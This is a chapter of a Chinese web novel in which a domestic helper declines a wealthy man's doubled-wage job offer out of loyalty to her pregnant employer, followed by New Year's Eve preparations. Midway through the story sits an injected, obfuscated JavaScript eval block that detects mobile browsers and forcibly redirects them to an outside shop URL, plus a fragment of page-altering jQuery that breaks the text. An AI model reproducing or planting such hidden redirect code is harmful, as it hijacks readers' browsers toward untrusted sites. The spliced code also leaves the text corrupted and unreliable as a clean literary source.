林秀秀没有想到他会停下来和自己说话。
她先是有些迷茫的抬头望向这个男人,又下意识的左右看了看,突然想起男人说话的时候喊的是林女士。
周遭好像也没有别的人在了。
诶,好像真的在和她说话。
林秀秀只是意外了一下,立刻反应过来,“我当然记得。”
话音刚落,她本能的左右看了看,“您家的小囡囡近来还好吗?”
顾时聿听到她还记得自己,原本因为偏头痛而不自觉皱起的眉头散开了一些,又听她提起宝珠,神情也柔和了几分,“她还是老样子,只是现在天气冷了,她恹恹的打不起精神来,每天都窝在被子里,不想出去,也不怎么想吃东西。”
林秀秀听到他说那小女孩吃不下东西,下意识的开始在脑子里找起菜谱。
“是纯粹没有胃口?还是因为活动的少,所以不觉得饿?”她一边思索着,一边顺口问道,“冬天天气冷,小孩子就会脾胃弱,这是很常见的情况,不必太过着急……”
“如果她不爱吃东西,可以试着给她做一点番茄山药疙瘩汤,酸甜开胃,山药也是好东西,不是那种本地的那种有点大的面疙瘩,是北方人家常做的,珍珠一般的小面豆,先用番茄熬出浓汁,再把山药刮碎了融在汤里,面粉要一点点淋上水,抖出细碎的小疙瘩……”
她正说着疙瘩汤的做法,仿佛面前已经摆着一碗喷香诱人的面疙瘩。
她一抬头就看到了男人专注的眼神,突然话就卡在了嘴里。
那目光沉静又专注,正在全神贯注的听着她的话。
一股淡淡的窘迫突然漫了上来。
林秀秀后知后觉的想到,看他的穿着和谈吐,家里一定也请了专业的保姆和厨师照顾生活起居。
哪里用得着她在这里出主意。
顾时聿不知道她在想什么,他正很认真的在听,听着听着突然没了声音。
“怎么了?林女士,是有什么顾虑吗?”顾时聿轻声问道。
林秀秀有些不好意思,“没什么,我只是想到,您家里应该也有厨师,我就不班门弄斧了。”
“不是的,”顾时聿很认真的摇了摇头,说的很诚恳,“家里的师傅擅长淮扬菜,你说的这个他不曾做过,我也是第一次听说。”
听到这,那股莫名的窘迫散了一些,取而代之是是一股小小的成就感和小骄傲。
“真的吗,那我再说一遍,你记下来回家试试做出来,看小囡囡喜不喜欢吃。”林秀秀便说的更加认真。
这下她没了心理包袱,说的更加详细了,甚至从怎么挑选番茄开始说起,一点一滴,娓娓道来。
顾时聿认真的听着,边听边记,遇到没听懂的地方还会问出来,非常虚心。
说到最后,林秀秀还不放心的问了一句,“你都记住了吗?”
顾时聿略一沉吟,然后用更加精炼的语言复述了一遍。
林秀秀听完给他竖了个大拇指,“先生,你真厉害。”
顾时聿唇角默默上扬,又猛然意识到,说了这么久的话,自己好像还没有和她互通姓名。
于是他下意识整理了一下衣襟,自我介绍道,“林女士,我姓顾,顾时聿,时间的时,聿是律的右部分,很高兴认识你。”
“原来是这个聿啊,”林秀秀先是感叹道,随即也端正了神色。
她想起小时候祖祖曾经教过她,名字也是一个人的脸面,别人郑重地告诉你,你也要郑重地回应。
“你好,顾先生,我姓林,我叫林秀秀,祖祖说秀的本意是谷类抽穗开花,寓意着丰收,也盼着我有出息,我也很高兴认识你。”
她说完了,才想到一个问题,“对了,你是怎么知道我姓林的?”
这话一出,顾时聿脸上飞快滑过一丝局促心虚,他轻咳了一声,“其实是我有事相求。”
林秀秀嗯了一声,有些疑惑。
“你上次告诉我的办法很有用,宝珠这些日子以来和我亲近了许多,她有事情也会主动来找我,我很感谢你。”
他顿了顿,道出自己真正来意,“除此之外,我打听到你是一个做事妥当且细心可靠的人,所以我想聘请你到我家里工作。”
“薪资不用忧心,我愿意在你现在的基础上翻一倍。”
起初她还尚能维持表面的平静,可随着那番话一字一句淌进耳朵里,她的神情再也绷不住了,眼睛一点点睁大。
翻一倍。
现在的基础上再翻一倍。
那岂不是一个月能拿到三百二十块钱?!
三百二十块钱!!!!!
天老爷,现在宁港市的工人一个月也就拿这么多工资了吧!
林秀秀的心不争气的跳的更快了一些。
可几秒后,她就强迫自己冷静下来。
“说实话,顾先生,这个薪资水平,我是真的很心动。”
心动是真的,只是心动之后,有更多的念头冒了出来。
林秀秀脸上的笑容有点酸涩,“我也确实很缺钱,但是这几个月以来,日子稳稳当当的过,我已经勉强可以攒下一些富余养家了。”
她其实在那短短的几秒钟里想了很多东西。
她想起刚来到宁港的时候,她很害怕,怕自己挣不到钱,那时候她一心只想着,要挣钱,爸妈弟妹才有活路。
可日子一天天走下来,她慢慢不再在温饱上挣扎的时候,她也开始觉得,做人并不单单只是为了挣钱。
就像月明姐待她的那份善意,不是能用金钱衡量的。
她运气好,遇到的都是好人家。
可她要是一听见别人开出了更多的工资便扭头就走,那岂不是干了过河拆桥的事?
祖祖从前总同她说,人活一世,要惜缘,要知恩。
缘分二字说来缥缈,可落在日常的一餐一饭、一言一语之中,便是实打实的情分。
阮曼笙也说过,一个人的立身之本,从来不是他有多少财富,而是心里头要有不能逾越的规矩。
林秀秀心里也有了一把属于她自己的尺。
她想挣钱,她也可以为了挣钱去往别处。
但她不想在陆家最需要人手的时候抽身离去。
唐月明如今已是孕晚期,腹中的孩子随时都有可能降生。
等到孩子平安落地,熬过了难熬的月子,陆家也就能够喘口气。
那时候她就可以离开了。
缘分有来有去,可她总要对得起眼下这一段相遇。
诸多思绪在她心底百转千回的闪来闪去。
林秀秀还是拒绝了。
“顾先生。”她缓缓说道,“您开出的条件很好,感谢您认同我,只是眼下我还不能答应。”
“虽然不方便透露,但是陆家这时候应该很需要我。”
她顿了顿,语气柔和也带着一股坚定和坦诚。
“若是陆家不再那么需要我了,您依旧愿意给我这份工作,我就立刻来。”
顾时聿静静地听着她说完这长长的一番话。
说意外,他自然是意外的。
世间多少人,见到翻倍的工钱,怕是早就一口应下,恨不得立刻收拾包袱奔赴新的雇主家。
可细细一想,他又并不真正觉得吃惊。
正是因为她拥有这样一份品性,才能够把自己的工作做得那样妥帖,才能够轻易地赢得旁人发自内心的信赖。
一个德行端正、懂得感恩的人,无论去到哪里,都是珍贵的。
他依旧欣赏并且敬佩她。
“我明白了。”他轻声道,“我尊重你的选择,但是我的邀请一直有效,薪资也不会有半分变动。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871363|209242||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“陆先生那边我也会主动联系,改日我会寻一个合适的机会,亲自同陆建国先生谈一谈。”
“这种事情由我来说会更合适,你也不必为此背负心理负担。”
话音刚落,一阵抑制不住的咳嗽忽然从他喉间涌了上来。
他的身体情况实在是糟糕。
顾时聿侧过头,用帕子掩住唇,低低地咳了好几声。
肩头随着咳嗽微微起伏,脸色也瞬间褪去了几分血色,泛出一层淡淡的青白。
顾时聿缓了好一会儿,那一阵咳嗽才总算平复下来。
他从西装口袋里取出一张烫着浅金小字的名片,双手递到林秀秀的面前。
“这是我的联系方式。”他的声音还有一丝微哑,“日后若是有什么事都可以打上面的电话找我。”
林秀秀连忙伸出双手,小心翼翼地接了过来。
名片是厚实的米白色卡纸,上面印着顾时聿的名字,还有一串电话号码。
“那今日,我便先告辞了。”
顾时聿略略欠了欠身,算作道别。
而后在助理的陪同之下,转身大步离开了。
林秀秀立在原地,握着那一张薄薄的名片。
街边的风依旧是冷的,可空气里已经悄悄浸透了年关将至的暖意。
这份安逸又热闹的年节氛围,多多少少磨去了她心里那一份紧绷的斗志。
可此刻,那张安静躺在她掌心的名片,却突然又唤起了什么。
前路尚有许多方向。
她依旧会守好眼下的日子,陪着唐月明熬过生产与月子那一段辛苦的时候。
可与此同时,一扇崭新的大门也已经在不远的前方,为她轻轻推开了一道缝隙。
林秀秀将名片妥帖地收进棉衣内侧的口袋里。
她抬手拢了拢衣襟。
心底那股沉寂了一阵子的劲头,又一点一点地回来了。
转眼便是除夕。
二月的宁港被一股滚烫的年意裹了起来,家家户户都飘出饭菜的香气,零星的鞭炮声断断续续,从午后一直响到入夜。
陆家这几日也是忙得脚不沾地。
唐月明身子更加笨重了,她临近预产期,所有人都紧张的不得了。
她大多时候只能够坐在一旁,动动嘴参与一下家务。
其他关于采买、备菜和打扫屋子的活计,大半都落在了林秀秀与方春瑛身上。
方春瑛对于过年有着自己的固执。
先是风风火火的张罗着去做头发,可林秀秀不想做,唐月明懒得下楼,于是方春瑛自己去烫了个小卷。
然后又叮嘱每一个人记得去汏浴。
转头开始收拾卫生。
地要拖得能照见人影,玻璃窗要擦得透亮,春联也要端端正正贴在大门两侧,就连小小的福字,也一定要倒着贴,寓意福到家门。
林秀秀就跟着她一道忙活。
蒸年糕,炸丸子,做蛋饺。
最后还念叨着一定要做四喜烤麸和全家福。
她忙忙碌碌又喜气洋洋,在屋子里絮絮叨叨的走来走去,屋子里处处都是年的味道。
大年三十的晚饭吃得早。
一桌子丰盛的家常菜,热气氤氲,年年被特意换上一身鲜红的小棉袄,乖乖坐在饭桌前,抓着一块软糯的年糕啃得津津有味。
陆正阳也从医院回来了,一家人热热闹闹地吃了这顿年夜饭。
饭后,碗筷收拾妥当,几个人便守在了客厅那台彩色电视机跟前。
春晚还没有正式开始,屏幕里正播着预热的画面,电暖器散出淡淡的热浪,屋子里暖融融的。
方春瑛正端着一盘瓜子,忽然像是想起一桩大事,侧过头看向正在摆糖果的林秀秀。
“小林呀,你一会儿给老家打一通电话吧。”